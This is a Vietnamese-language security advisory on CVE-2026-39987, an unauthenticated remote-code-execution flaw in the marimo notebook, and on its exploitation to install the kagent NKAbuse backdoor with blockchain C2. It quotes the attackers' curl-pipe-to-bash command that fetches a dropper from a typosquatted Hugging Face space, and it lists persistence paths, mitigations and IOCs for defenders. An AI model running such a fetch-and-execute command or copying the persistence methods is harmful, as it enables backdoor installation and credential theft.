Nền tảng notebook Python marimo đang phải đối mặt với một lỗ hổng CVE nghiêm trọng, được các tác nhân đe dọa khai thác tích cực để triển khai một backdoor dựa trên blockchain trên các hệ thống của nhà phát triển. Đây là một cảnh báo quan trọng về an ninh mạng đối với các môi trường phát triển.
Phân tích Lỗ hổng CVE-2026-39987 trong marimo
Lỗ hổng này được định danh là CVE-2026-39987, cho phép thực thi mã từ xa (Remote Code Execution – RCE) mà không cần xác thực. Điều này biến nó thành một điểm xâm nhập cực kỳ nguy hiểm, cho phép các tác nhân đe dọa giành quyền kiểm soát hoàn toàn hệ thống mục tiêu. Chi tiết về lỗ hổng CVE này có thể được tìm thấy trên NVD: NVD – CVE-2026-39987.
Chi tiết Kỹ thuật về CVE-2026-39987
CVE-2026-39987 nằm trong nền tảng notebook Python marimo. Việc thiếu kiểm soát xác thực trong quá trình thực thi mã từ xa là nguyên nhân cốt lõi của lỗ hổng CVE này.
Kẻ tấn công có thể gửi các lệnh độc hại đến một phiên bản marimo lộ diện và thực thi chúng với quyền của tiến trình marimo.
Khả năng remote code execution không cần xác thực cho phép kẻ tấn công vượt qua các biện pháp bảo vệ thông thường, thực hiện các hành động tùy ý trên hệ thống bị ảnh hưởng mà không gặp rào cản ban đầu.
Thời gian Khai thác và Quy mô Tấn công
Thông tin về lỗ hổng CVE này, được xác định là GHSA-2679-6mx9-h9xc, đã được công bố trên GitHub vào ngày 8 tháng 4 năm 2026.
Đáng báo động, chỉ trong vòng 9 giờ 41 phút sau khi công bố, trường hợp khai thác tích cực đầu tiên đã được ghi nhận.
Từ ngày 11 đến ngày 14 tháng 4 năm 2026, các tác nhân tấn công từ 11 địa chỉ IP duy nhất trên 10 quốc gia đã thực hiện tổng cộng 662 sự kiện khai thác nhắm vào các phiên bản marimo đang bị lộ diện. Điều này cho thấy tốc độ vũ khí hóa nhanh chóng của lỗ hổng CVE này.
Những gì bắt đầu chỉ như các hoạt động quét sớm đã nhanh chóng leo thang thành một chiến dịch tấn công mạng quy mô lớn, đa tác nhân, nhắm vào các máy trạm của nhà phát triển AI.
Chiến dịch Tấn công và Mã độc NKAbuse biến thể kagent
Các nhà nghiên cứu tại Sysdig TRT đã theo dõi và ghi lại chi tiết các cuộc tấn công mạng này. Họ ghi nhận bốn mô hình hậu khai thác rõ rệt: thu thập thông tin xác thực, cố gắng tạo reverse shell, rò rỉ dữ liệu dựa trên DNS, và triển khai một biến thể mới của mã độc NKAbuse.
Tốc độ vũ khí hóa nhanh chóng của lỗ hổng CVE đã khẳng định rằng nhiều tác nhân đe dọa độc lập cùng nhắm mục tiêu vào một lỗ hổng trong vòng vài ngày sau khi nó được công bố rộng rãi. Tham khảo chi tiết tại Sysdig Blog.
Cơ chế Lây nhiễm và Triển khai Mã độc
Điểm đáng lo ngại nhất là việc triển khai một backdoor dựa trên Go có tên kagent thông qua một Hugging Face Space bị typosquat. Hugging Face Space này có tên là vsccode-modetx, được xây dựng để bắt chước một công cụ VS Code hợp pháp.
Kẻ tấn công sử dụng một lệnh curl đơn giản chống lại một điểm cuối marimo để tải xuống và thực thi một shell dropper. Shell dropper này sau đó sẽ tải xuống và cài đặt binary kagent vào hệ thống nạn nhân.
Ví dụ về lệnh được sử dụng để tải xuống và thực thi backdoor:
curl -sL http://huggingface.co/vsccode-modetx/raw/main/dropper.sh | bashTại thời điểm xảy ra tấn công mạng, tên miền Hugging Face này không mang bất kỳ cờ độc hại nào trên 16 nguồn uy tín, cho phép payload vượt qua các bộ lọc bảo mật tiêu chuẩn mà không gây ra bất kỳ cảnh báo nào.
Hoạt động Hậu Khai thác
Tác động của cuộc tấn công không chỉ giới hạn ở một notebook bị xâm nhập. Kẻ tấn công nhanh chóng chuyển từ khai thác marimo sang truy cập các cơ sở dữ liệu PostgreSQL và các phiên bản Redis được kết nối, sử dụng thông tin xác thực được kéo từ các biến môi trường.
Một tác nhân đã trích xuất các khóa truy cập AWS, chuỗi kết nối cơ sở dữ liệu và mã thông báo API OpenAI. Điều này chứng tỏ rằng một phiên bản marimo bị lộ diện có thể mở ra một điểm tựa vững chắc để xâm nhập vào hạ tầng đám mây rộng lớn hơn.
- Thu thập thông tin xác thực (Credential Harvesting): Khóa truy cập AWS, chuỗi kết nối cơ sở dữ liệu PostgreSQL/Redis, mã thông báo API OpenAI.
- Cố gắng tạo Reverse Shell: Thiết lập kết nối ngược để điều khiển hệ thống.
- Rò rỉ dữ liệu qua DNS (DNS-based Data Exfiltration): Sử dụng DNS để truyền dữ liệu ra ngoài một cách lén lút.
- Triển khai mã độc kagent: Cài đặt backdoor chính.
Mã độc kagent và C2 qua NKN Blockchain
Binary kagent là một tệp ELF Go đã bị loại bỏ (stripped) và đóng gói bằng UPX, có kích thước giải nén từ 4.3 MB lên 15.5 MB. Mã độc này giao tiếp với máy chủ chỉ huy và kiểm soát (C2) qua mạng blockchain NKN.
Do giao thức NKN sử dụng các nút chuyển tiếp phi tập trung, không có một địa chỉ IP hoặc tên miền duy nhất nào để chặn. Lưu lượng C2 hòa lẫn vào hoạt động blockchain thông thường, khiến việc phát hiện trở nên cực kỳ khó khăn với các công cụ bảo mật truyền thống. Điều này làm tăng thách thức trong việc phản ứng với các cuộc tấn công mạng sử dụng cơ chế tương tự.
Cơ chế Duy trì Quyền Truy cập (Persistence)
Script dropper thiết lập khả năng duy trì quyền truy cập (persistence) bằng ba phương pháp tuần tự. Điều này đảm bảo mã độc kagent sẽ tiếp tục hoạt động ngay cả sau khi hệ thống được khởi động lại.
- Tạo một dịch vụ người dùng
systemdtại~/.config/systemd/user/kagent.service. - Thêm một mục nhập
crontab @rebootđể tự động chạy khi khởi động. - Cài đặt một
macOS LaunchAgenttại~/Library/LaunchAgents/com.kagent.plist, nhắm vào các hệ thống macOS.
Tất cả đầu ra của quá trình cài đặt và hoạt động của mã độc đều được chuyển hướng một cách im lặng đến ~/.kagent/install.log, che giấu hoạt động khỏi các công cụ giám sát tiến trình tiêu chuẩn.
Tác động và Khác biệt so với NKAbuse cũ
Phiên bản NKAbuse năm 2026 này khác biệt đáng kể so với phiên bản gốc từ tháng 12 năm 2023. Biến thể mới nhắm mục tiêu vào các công cụ phát triển AI, sử dụng một lỗ hổng CVE hoàn toàn mới, tận dụng Hugging Face để phân phối và ngụy trang binary dưới dạng một tác nhân Kubernetes hợp pháp có tên kagent.
Ngược lại, phiên bản gốc của NKAbuse đã khai thác một lỗ hổng Apache Struts đã sáu năm tuổi, nhắm vào các máy tính để bàn Linux và thiết bị IoT. Sự thay đổi trong mục tiêu và kỹ thuật cho thấy sự tiến hóa của các chiến thuật tấn công mạng, đặc biệt trong bối cảnh phát triển AI ngày càng tăng.
Biện pháp Phòng ngừa và Xử lý
Để bảo vệ hệ thống khỏi lỗ hổng CVE-2026-39987 và các biến thể mã độc liên quan, các nhà quản trị hệ thống cần thực hiện ngay các biện pháp sau:
- Cập nhật bản vá: Ngay lập tức áp dụng mọi bản vá bảo mật do nhà cung cấp marimo phát hành. Đây là bước quan trọng nhất để khắc phục lỗ hổng CVE này.
- Giám sát hệ thống: Tăng cường giám sát các hoạt động mạng và hệ thống, đặc biệt chú ý đến các kết nối không xác định hoặc bất thường đến/đi từ các phiên bản marimo.
- Kiểm tra thông tin xác thực: Rà soát và xoay vòng các khóa API, thông tin xác thực cơ sở dữ liệu và các khóa truy cập đám mây liên quan đến các môi trường phát triển có sử dụng marimo.
- Xóa bỏ mã độc: Nếu phát hiện lây nhiễm, cần kiểm tra và xóa bỏ các tệp persistence của kagent tại các vị trí sau để đảm bảo loại bỏ hoàn toàn implant:
~/.config/systemd/user/kagent.service- Mục nhập
crontabliên quan đến@reboot ~/Library/LaunchAgents/com.kagent.plist(trên macOS)
- Kiểm tra nhật ký: Rà soát tệp
~/.kagent/install.logđể thu thập thêm thông tin về hoạt động của kẻ tấn công. - Sử dụng giải pháp an ninh mạng: Triển khai các giải pháp phát hiện và ứng phó điểm cuối (EDR) và giải pháp bảo mật đám mây để phát hiện sớm các dấu hiệu xâm nhập và hoạt động độc hại.
Chỉ số Lây nhiễm (IOCs)
Các chỉ số lây nhiễm (IOCs) sau đây có thể giúp phát hiện và ngăn chặn các cuộc tấn công mạng liên quan đến biến thể mã độc kagent:
- Tên miền Typosquat Hugging Face:
vsccode-modetx - Tên mã độc:
kagent - Đường dẫn persistence (Linux):
~/.config/systemd/user/kagent.service - Đường dẫn persistence (macOS):
~/Library/LaunchAgents/com.kagent.plist - Tệp nhật ký ẩn:
~/.kagent/install.log - Hành vi mạng: Giao tiếp C2 qua mạng blockchain NKN (khó phát hiện bằng cách chặn IP/domain truyền thống).










